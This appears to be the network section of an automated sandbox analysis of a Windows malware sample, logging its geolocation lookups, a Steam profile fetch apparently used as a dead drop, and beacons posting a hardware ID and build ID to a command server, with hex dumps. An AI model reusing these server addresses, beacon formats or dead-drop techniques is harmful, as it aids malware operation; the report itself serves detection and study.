Apr 24, 2024 09:17:03.673547983 CEST	1289	IN	Data Raw: 20 00 43 00 2b 00 2b 00 20 00 64 00 6f 00 63 00 75 00 6d 00 65 00 6e 00 74 00 61 00 74 00 69 00 6f 00 6e 00 20 00 6f 00 6e 00 20 00 61 00 73 00 73 00 65 00 72 00 74 00 73 00 2e 00 00 00 00 00 6d 00 65 00 6d 00 63 00 70 00 79 00 5f 00 73 00 28 00 Data Ascii: C++ documentation on asserts.memcpy_s(szShortProgName, sizeof(TCHAR) * (260 - (szShortProgName - szExeName)), dotdotdot
Apr 24, 2024 09:17:03.673589945 CEST	1289	IN	Data Raw: 00 55 00 4c 00 4c 00 29 00 00 00 70 00 75 00 74 00 63 00 00 00 00 00 76 00 73 00 63 00 61 00 6e 00 66 00 00 00 00 00 66 00 3a 00 5c 00 64 00 64 00 5c 00 76 00 63 00 74 00 6f 00 6f 00 6c 00 73 00 5c 00 63 00 72 00 74 00 5f 00 62 00 6c 00 64 00 5c Data Ascii: ULL)putcvscanff:\dd\vctools\crt_bld\self_x86\crt\src\scanf.c(format != NULL)f:\dd\vctools\crt_bld\self_x86\crt\src\_file.cf:\dd\vctools\crt_bld\se
Apr 24, 2024 09:17:03.673620939 CEST	1289	IN	Data Raw: 72 65 61 6c 6c 6f 63 28 29 00 00 00 00 00 45 72 72 6f 72 3a 20 6d 65 6d 6f 72 79 20 61 6c 6c 6f 63 61 74 69 6f 6e 3a 20 62 61 64 20 6d 65 6d 6f 72 79 20 62 6c 6f 63 6b 20 74 79 70 65 2e 0a 0a 4d 65 6d 6f 72 79 20 61 6c 6c 6f 63 61 74 65 64 20 61 Data Ascii: realloc()Error: memory allocation: bad memory block type.Memory allocated at %hs(%d).Invalid allocation size: %Iu bytes.Memory allocated at %hs(%d).Client hook re-allocation failure.Client hook re-allocation failure at file %hs
Apr 24, 2024 09:17:03.673672915 CEST	1289	IN	Data Raw: 20 66 72 65 65 20 66 61 69 6c 75 72 65 2e 0a 00 00 00 00 00 00 54 68 65 20 42 6c 6f 63 6b 20 61 74 20 30 78 25 70 20 77 61 73 20 61 6c 6c 6f 63 61 74 65 64 20 62 79 20 61 6c 69 67 6e 65 64 20 72 6f 75 74 69 6e 65 73 2c 20 75 73 65 20 5f 61 6c 69 Data Ascii: free failure.The Block at 0x%p was allocated by aligned routines, use _aligned_free()_msize_dbg%hs located at 0x%p is %Iu bytes long.%hs located at 0x%p is %Iu bytes long.Memory allocated at %hs(%d).HEAP C
Apr 24, 2024 09:17:04.019442081 CEST	1289	IN	Data Raw: 61 00 74 00 65 00 20 00 21 00 3d 00 20 00 4e 00 55 00 4c 00 4c 00 00 00 4f 62 6a 65 63 74 20 64 75 6d 70 20 63 6f 6d 70 6c 65 74 65 2e 0a 00 00 63 72 74 20 62 6c 6f 63 6b 20 61 74 20 30 78 25 70 2c 20 73 75 62 74 79 70 65 20 25 78 2c 20 25 49 75 Data Ascii: ate != NULLObject dump complete.crt block at 0x%p, subtype %x, %Iu bytes long.normal block at 0x%p, %Iu bytes long.client block at 0x%p, subtype %x, %Iu bytes long.{%ld} %hs(%d) : #File Error#(%d) : Dumping objects

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49699	172.67.139.220	443	4324	C:\Users\user\Desktop\rq0mVjR9ar.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 07:16:51 UTC	85	OUT	GET /geo.json HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: api.2ip.ua
2024-04-24 07:16:52 UTC	920	IN	HTTP/1.1 429 Too Many Requests Date: Wed, 24 Apr 2024 07:16:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close strict-transport-security: max-age=63072000; preload x-frame-options: SAMEORIGIN x-content-type-options: nosniff x-xss-protection: 1; mode=block; report=... access-control-allow-origin: * access-control-allow-methods: POST, GET, PUT, OPTIONS, PATCH, DELETE access-control-allow-headers: X-Accept-Charset,X-Accept,Content-Type CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=hQcum3vvVkZFrDp8Y6o9cDxYe836mFslTOmkBPn22zvAO%2BXw8g%2ByPOQ4o3nbwkIk%2BaeMp4OybfFXFqu50%2B8cbLbJlxqO%2FSWkXeylc1v4HnTg%2BoFrpQchEg73e4O%2F"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87944f725c91102d-LAX alt-svc: h3=":443"; ma=86400
2024-04-24 07:16:52 UTC	449	IN	Data Raw: 33 32 66 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 63 6c 61 73 73 65 73 2f 73 74 79 6c 65 2e 63 73 73 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 2f 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 65 72 72 6f 72 22 3e 0a 4c 69 6d 69 74 20 6f 66 20 72 65 74 75 72 6e 65 64 20 6f 62 6a 65 63 74 73 20 68 61 73 20 62 65 65 6e 20 72 65 61 63 68 65 64 2e 20 46 6f 72 20 6d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 70 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 62 79 20 65 6d 61 69 6c 20 3c 61 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 6c 2f 65 6d 61 69 6c 2d 70 72 6f 74 65 63 74 69 6f 6e 23 66 31 39 39 39 34 39 64 38 31 62 31 63 33 39 38 38 31 64 66 39 63 39 34 63 65 38 32 38 34 39 33 39 62 39 34 39 32 Data Ascii: 32f<link rel="stylesheet" href="classes/style.css" type="text/css" /><div class="error">Limit of returned objects has been reached. For more information please contact by email <a href="/cdn-cgi/l/email-protection#f199949d81b1c39881df9c94ce8284939b9492
2024-04-24 07:16:52 UTC	373	IN	Data Raw: d0 be d0 b2 20 d0 ba 20 d0 b1 d0 b0 d0 b7 d0 b5 20 d0 b4 d0 b0 d0 bd d0 bd d1 8b d1 85 2e 20 d0 94 d0 bb d1 8f 20 d0 bf d0 be d0 bb d1 83 d1 87 d0 b5 d0 bd d0 b8 d1 8f 20 d0 b4 d0 be d0 bf d0 be d0 bb d0 bd d0 b8 d1 82 d0 b5 d0 bb d1 8c d0 bd d0 be d0 b9 20 d0 b8 d0 bd d1 84 d0 be d1 80 d0 bc d0 b0 d1 86 d0 b8 d0 b8 2c 20 d0 bf d0 be d0 b6 d0 b0 d0 bb d1 83 d0 b9 d1 81 d1 82 d0 b0 2c 20 d0 be d0 b1 d1 80 d0 b0 d1 89 d0 b0 d0 b9 d1 82 d0 b5 63 d1 8c 20 d0 bf d0 be 20 d0 b0 d0 b4 d1 80 d0 b5 d1 81 d1 83 20 3c 61 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 6c 2f 65 6d 61 69 6c 2d 70 72 6f 74 65 63 74 69 6f 6e 23 65 33 38 62 38 36 38 66 39 33 61 33 64 31 38 61 39 33 63 64 39 36 38 32 64 63 39 30 39 36 38 31 38 39 38 36 38 30 39 37 64 65 64 31 38 61 39 33 Data Ascii: . , , c <a href="/cdn-cgi/l/email-protection#e38b868f93a3d18a93cd9682dc90968189868097ded18a93
2024-04-24 07:16:52 UTC	114	IN	Data Raw: 36 63 0d 0a 3c 73 63 72 69 70 74 20 64 61 74 61 2d 63 66 61 73 79 6e 63 3d 22 66 61 6c 73 65 22 20 73 72 63 3d 22 2f 63 64 6e 2d 63 67 69 2f 73 63 72 69 70 74 73 2f 35 63 35 64 64 37 32 38 2f 63 6c 6f 75 64 66 6c 61 72 65 2d 73 74 61 74 69 63 2f 65 6d 61 69 6c 2d 64 65 63 6f 64 65 2e 6d 69 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0d 0a Data Ascii: 6c<script data-cfasync="false" src="/cdn-cgi/scripts/5c5dd728/cloudflare-static/email-decode.min.js"></script>
2024-04-24 07:16:52 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49700	172.67.139.220	443	1320	C:\Users\user\Desktop\rq0mVjR9ar.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 07:16:54 UTC	85	OUT	GET /geo.json HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: api.2ip.ua
2024-04-24 07:16:55 UTC	914	IN	HTTP/1.1 429 Too Many Requests Date: Wed, 24 Apr 2024 07:16:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close strict-transport-security: max-age=63072000; preload x-frame-options: SAMEORIGIN x-content-type-options: nosniff x-xss-protection: 1; mode=block; report=... access-control-allow-origin: * access-control-allow-methods: POST, GET, PUT, OPTIONS, PATCH, DELETE access-control-allow-headers: X-Accept-Charset,X-Accept,Content-Type CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=5nwiCdr%2FnApJiroIVPanWlqhmIFglyC3WGoohuztlUkMrpM6gtFHsOcLSPoa%2BN0v9Nhx0vfrBEulVTQolgTYmiDAPBsWtmYfstw1u6%2FVDUuMKszBbqJ9%2Fo7Icn82"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87944f811f7f7bfb-LAX alt-svc: h3=":443"; ma=86400
2024-04-24 07:16:55 UTC	455	IN	Data Raw: 33 39 62 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 63 6c 61 73 73 65 73 2f 73 74 79 6c 65 2e 63 73 73 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 2f 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 65 72 72 6f 72 22 3e 0a 4c 69 6d 69 74 20 6f 66 20 72 65 74 75 72 6e 65 64 20 6f 62 6a 65 63 74 73 20 68 61 73 20 62 65 65 6e 20 72 65 61 63 68 65 64 2e 20 46 6f 72 20 6d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 70 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 62 79 20 65 6d 61 69 6c 20 3c 61 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 6c 2f 65 6d 61 69 6c 2d 70 72 6f 74 65 63 74 69 6f 6e 23 63 38 61 30 61 64 61 34 62 38 38 38 66 61 61 31 62 38 65 36 61 35 61 64 66 37 62 62 62 64 61 61 61 32 61 64 61 62 Data Ascii: 39b<link rel="stylesheet" href="classes/style.css" type="text/css" /><div class="error">Limit of returned objects has been reached. For more information please contact by email <a href="/cdn-cgi/l/email-protection#c8a0ada4b888faa1b8e6a5adf7bbbdaaa2adab
2024-04-24 07:16:55 UTC	475	IN	Data Raw: ba 20 d0 b1 d0 b0 d0 b7 d0 b5 20 d0 b4 d0 b0 d0 bd d0 bd d1 8b d1 85 2e 20 d0 94 d0 bb d1 8f 20 d0 bf d0 be d0 bb d1 83 d1 87 d0 b5 d0 bd d0 b8 d1 8f 20 d0 b4 d0 be d0 bf d0 be d0 bb d0 bd d0 b8 d1 82 d0 b5 d0 bb d1 8c d0 bd d0 be d0 b9 20 d0 b8 d0 bd d1 84 d0 be d1 80 d0 bc d0 b0 d1 86 d0 b8 d0 b8 2c 20 d0 bf d0 be d0 b6 d0 b0 d0 bb d1 83 d0 b9 d1 81 d1 82 d0 b0 2c 20 d0 be d0 b1 d1 80 d0 b0 d1 89 d0 b0 d0 b9 d1 82 d0 b5 63 d1 8c 20 d0 bf d0 be 20 d0 b0 d0 b4 d1 80 d0 b5 d1 81 d1 83 20 3c 61 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 6c 2f 65 6d 61 69 6c 2d 70 72 6f 74 65 63 74 69 6f 6e 23 30 39 36 31 36 63 36 35 37 39 34 39 33 62 36 30 37 39 32 37 37 63 36 38 33 36 37 61 37 63 36 62 36 33 36 63 36 61 37 64 33 34 33 62 36 30 37 39 32 37 37 63 36 38 Data Ascii: . , , c <a href="/cdn-cgi/l/email-protection#09616c6579493b6079277c68367a7c6b636c6a7d343b6079277c68
2024-04-24 07:16:55 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49701	172.67.139.220	443	5156	C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 07:16:55 UTC	85	OUT	GET /geo.json HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: api.2ip.ua
2024-04-24 07:16:56 UTC	916	IN	HTTP/1.1 429 Too Many Requests Date: Wed, 24 Apr 2024 07:16:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close strict-transport-security: max-age=63072000; preload x-frame-options: SAMEORIGIN x-content-type-options: nosniff x-xss-protection: 1; mode=block; report=... access-control-allow-origin: * access-control-allow-methods: POST, GET, PUT, OPTIONS, PATCH, DELETE access-control-allow-headers: X-Accept-Charset,X-Accept,Content-Type CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ti1BMfClQczyY3QXvW54wswDmcfN%2Fr%2Fz%2FFPqGLBOXwT1UEN5XmpdScERK6AIcOE0F%2FaWc7SgS4t8oBm6eOGQd0xGbbPYMQzAQvui1zy6djZI%2FNH8LAb7cBgiGAcR"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87944f8a58002b82-LAX alt-svc: h3=":443"; ma=86400
2024-04-24 07:16:56 UTC	453	IN	Data Raw: 33 39 62 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 63 6c 61 73 73 65 73 2f 73 74 79 6c 65 2e 63 73 73 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 2f 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 65 72 72 6f 72 22 3e 0a 4c 69 6d 69 74 20 6f 66 20 72 65 74 75 72 6e 65 64 20 6f 62 6a 65 63 74 73 20 68 61 73 20 62 65 65 6e 20 72 65 61 63 68 65 64 2e 20 46 6f 72 20 6d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 70 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 62 79 20 65 6d 61 69 6c 20 3c 61 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 6c 2f 65 6d 61 69 6c 2d 70 72 6f 74 65 63 74 69 6f 6e 23 36 31 30 39 30 34 30 64 31 31 32 31 35 33 30 38 31 31 34 66 30 63 30 34 35 65 31 32 31 34 30 33 30 62 30 34 30 32 Data Ascii: 39b<link rel="stylesheet" href="classes/style.css" type="text/css" /><div class="error">Limit of returned objects has been reached. For more information please contact by email <a href="/cdn-cgi/l/email-protection#6109040d11215308114f0c045e1214030b0402
2024-04-24 07:16:56 UTC	477	IN	Data Raw: 20 d0 ba 20 d0 b1 d0 b0 d0 b7 d0 b5 20 d0 b4 d0 b0 d0 bd d0 bd d1 8b d1 85 2e 20 d0 94 d0 bb d1 8f 20 d0 bf d0 be d0 bb d1 83 d1 87 d0 b5 d0 bd d0 b8 d1 8f 20 d0 b4 d0 be d0 bf d0 be d0 bb d0 bd d0 b8 d1 82 d0 b5 d0 bb d1 8c d0 bd d0 be d0 b9 20 d0 b8 d0 bd d1 84 d0 be d1 80 d0 bc d0 b0 d1 86 d0 b8 d0 b8 2c 20 d0 bf d0 be d0 b6 d0 b0 d0 bb d1 83 d0 b9 d1 81 d1 82 d0 b0 2c 20 d0 be d0 b1 d1 80 d0 b0 d1 89 d0 b0 d0 b9 d1 82 d0 b5 63 d1 8c 20 d0 bf d0 be 20 d0 b0 d0 b4 d1 80 d0 b5 d1 81 d1 83 20 3c 61 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 6c 2f 65 6d 61 69 6c 2d 70 72 6f 74 65 63 74 69 6f 6e 23 61 32 63 61 63 37 63 65 64 32 65 32 39 30 63 62 64 32 38 63 64 37 63 33 39 64 64 31 64 37 63 30 63 38 63 37 63 31 64 36 39 66 39 30 63 62 64 32 38 63 64 37 Data Ascii: . , , c <a href="/cdn-cgi/l/email-protection#a2cac7ced2e290cbd28cd7c39dd1d7c0c8c7c1d69f90cbd28cd7
2024-04-24 07:16:56 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49706	96.17.209.196	443	5644	C:\Users\user\AppData\Local\4d01294b-0c42-4616-bfac-c55a56cad4a6\build2.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 07:17:03 UTC	119	OUT	GET /profiles/76561199673019888 HTTP/1.1 Host: steamcommunity.com Connection: Keep-Alive Cache-Control: no-cache
2024-04-24 07:17:03 UTC	1870	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/html; charset=UTF-8 Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.akamai.steamstatic.com/ https://cdn.akamai.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.akamai.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/; Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: no-cache Date: Wed, 24 Apr 2024 07:17:03 GMT Content-Length: 33790 Connection: close Set-Cookie: sessionid=9443bb01b17d8a7ead1fa52d; Path=/; Secure; SameSite=None Set-Cookie: steamCountry=US%7C8efca4b9dedd65f9ac922759639cacad; Path=/; Secure; HttpOnly; SameSite=None
2024-04-24 07:17:03 UTC	14514	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 20 72 65 73 70 6f 6e 73 69 76 65 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0d 0a 09 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 68 65 6d 65 2d 63 6f 6c 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 23 31 37 31 61 32 31 22 3e 0d 0a 09 09 3c Data Ascii: <!DOCTYPE html><html class=" responsive" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><meta name="theme-color" content="#171a21"><
2024-04-24 07:17:03 UTC	10062	IN	Data Raw: 6f 62 61 6c 5f 61 63 74 69 6f 6e 5f 6c 69 6e 6b 22 20 69 64 3d 22 6c 61 6e 67 75 61 67 65 5f 70 75 6c 6c 64 6f 77 6e 22 20 6f 6e 63 6c 69 63 6b 3d 22 53 68 6f 77 4d 65 6e 75 28 20 74 68 69 73 2c 20 27 6c 61 6e 67 75 61 67 65 5f 64 72 6f 70 64 6f 77 6e 27 2c 20 27 72 69 67 68 74 27 20 29 3b 22 3e 6c 61 6e 67 75 61 67 65 3c 2f 73 70 61 6e 3e 0d 0a 09 09 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 6f 70 75 70 5f 62 6c 6f 63 6b 5f 6e 65 77 22 20 69 64 3d 22 6c 61 6e 67 75 61 67 65 5f 64 72 6f 70 64 6f 77 6e 22 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 20 6e 6f 6e 65 3b 22 3e 0d 0a 09 09 09 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 6f 70 75 70 5f 62 6f 64 79 20 70 6f 70 75 70 5f 6d 65 6e 75 22 3e 0d 0a 09 09 09 09 09 09 09 09 09 09 09 09 Data Ascii: obal_action_link" id="language_pulldown" onclick="ShowMenu( this, 'language_dropdown', 'right' );">language</span><div class="popup_block_new" id="language_dropdown" style="display: none;"><div class="popup_body popup_menu">
2024-04-24 07:17:03 UTC	9214	IN	Data Raw: 74 65 61 6d 67 61 6d 65 73 2e 63 6f 6d 5c 2f 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 53 54 41 54 53 5f 42 41 53 45 5f 55 52 4c 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 68 74 74 70 73 3a 5c 2f 5c 2f 70 61 72 74 6e 65 72 2e 73 74 65 61 6d 70 6f 77 65 72 65 64 2e 63 6f 6d 5c 2f 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 49 4e 54 45 52 4e 41 4c 5f 53 54 41 54 53 5f 42 41 53 45 5f 55 52 4c 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 65 61 6d 73 74 61 74 73 2e 76 61 6c 76 65 2e 6f 72 67 5c 2f 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 49 4e 5f 43 4c 49 45 4e 54 26 71 75 6f 74 3b 3a 66 61 6c 73 65 2c 26 71 75 6f 74 3b 55 53 45 5f 50 4f 50 55 50 53 26 71 75 6f 74 3b 3a 66 61 6c 73 65 2c 26 71 75 6f 74 3b 53 54 4f 52 45 5f 49 43 4f 4e 5f 42 41 Data Ascii: teamgames.com\/","STATS_BASE_URL":"https:\/\/partner.steampowered.com\/","INTERNAL_STATS_BASE_URL":"https:\/\/steamstats.valve.org\/","IN_CLIENT":false,"USE_POPUPS":false,"STORE_ICON_BA

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	49707	95.217.9.149	443	5644	C:\Users\user\AppData\Local\4d01294b-0c42-4616-bfac-c55a56cad4a6\build2.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 07:17:05 UTC	169	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:109.0) Gecko/20100101 Firefox/115.0 Host: 95.217.9.149 Connection: Keep-Alive Cache-Control: no-cache
2024-04-24 07:17:05 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 24 Apr 2024 07:17:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-04-24 07:17:05 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	49708	95.217.9.149	443	5644	C:\Users\user\AppData\Local\4d01294b-0c42-4616-bfac-c55a56cad4a6\build2.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 07:17:08 UTC	261	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----DHIEHIIEHIEHJKEBKEHJ User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:109.0) Gecko/20100101 Firefox/115.0 Host: 95.217.9.149 Content-Length: 279 Connection: Keep-Alive Cache-Control: no-cache
2024-04-24 07:17:08 UTC	279	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 44 48 49 45 48 49 49 45 48 49 45 48 4a 4b 45 42 4b 45 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 34 34 43 33 34 45 30 37 30 34 46 34 30 33 33 30 36 30 30 37 31 2d 61 33 33 63 37 33 34 30 2d 36 31 63 61 2d 31 31 65 65 2d 38 63 31 38 2d 38 30 36 65 36 66 36 65 36 39 36 33 0d 0a 2d 2d 2d 2d 2d 2d 44 48 49 45 48 49 49 45 48 49 45 48 4a 4b 45 42 4b 45 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 31 37 30 36 64 63 36 63 39 32 30 32 34 33 30 62 63 36 66 62 32 65 37 34 38 39 36 64 38 33 31 31 0d 0a 2d 2d 2d 2d 2d 2d Data Ascii: ------DHIEHIIEHIEHJKEBKEHJContent-Disposition: form-data; name="hwid"B44C34E0704F4033060071-a33c7340-61ca-11ee-8c18-806e6f6e6963------DHIEHIIEHIEHJKEBKEHJContent-Disposition: form-data; name="build_id"1706dc6c9202430bc6fb2e74896d8311------
2024-04-24 07:17:09 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 24 Apr 2024 07:17:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-04-24 07:17:09 UTC	69	IN	Data Raw: 33 61 0d 0a 31 7c 31 7c 31 7c 31 7c 36 61 61 30 38 35 34 61 64 62 34 35 65 61 66 31 30 62 37 30 36 30 62 31 34 61 38 33 33 35 37 65 7c 31 7c 31 7c 31 7c 30 7c 30 7c 35 30 30 30 30 7c 30 0d 0a 30 0d 0a 0d 0a Data Ascii: 3a1\|1\|1\|1\|6aa0854adb45eaf10b7060b14a83357e\|1\|1\|1\|0\|0\|50000\|00

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	49709	172.67.139.220	443	6940	C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 07:17:08 UTC	85	OUT	GET /geo.json HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: api.2ip.ua
2024-04-24 07:17:09 UTC	912	IN	HTTP/1.1 429 Too Many Requests Date: Wed, 24 Apr 2024 07:17:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close strict-transport-security: max-age=63072000; preload x-frame-options: SAMEORIGIN x-content-type-options: nosniff x-xss-protection: 1; mode=block; report=... access-control-allow-origin: * access-control-allow-methods: POST, GET, PUT, OPTIONS, PATCH, DELETE access-control-allow-headers: X-Accept-Charset,X-Accept,Content-Type CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=7Vj7rPZvj38ZUxiDKDGBkZJHWfAP8Rks45IGTzP6b4kkCsrvse2efVNxHYCEaxGk9WUseZ8OeAcS5%2FeS5LyXiOlVex5UJ4I9KQXP%2BvLR2ByGh9RS5s1uyZWg%2Ftu6"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87944fdadf902b65-LAX alt-svc: h3=":443"; ma=86400
2024-04-24 07:17:09 UTC	457	IN	Data Raw: 33 32 66 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 63 6c 61 73 73 65 73 2f 73 74 79 6c 65 2e 63 73 73 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 2f 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 65 72 72 6f 72 22 3e 0a 4c 69 6d 69 74 20 6f 66 20 72 65 74 75 72 6e 65 64 20 6f 62 6a 65 63 74 73 20 68 61 73 20 62 65 65 6e 20 72 65 61 63 68 65 64 2e 20 46 6f 72 20 6d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 70 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 62 79 20 65 6d 61 69 6c 20 3c 61 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 6c 2f 65 6d 61 69 6c 2d 70 72 6f 74 65 63 74 69 6f 6e 23 38 65 65 36 65 62 65 32 66 65 63 65 62 63 65 37 66 65 61 30 65 33 65 62 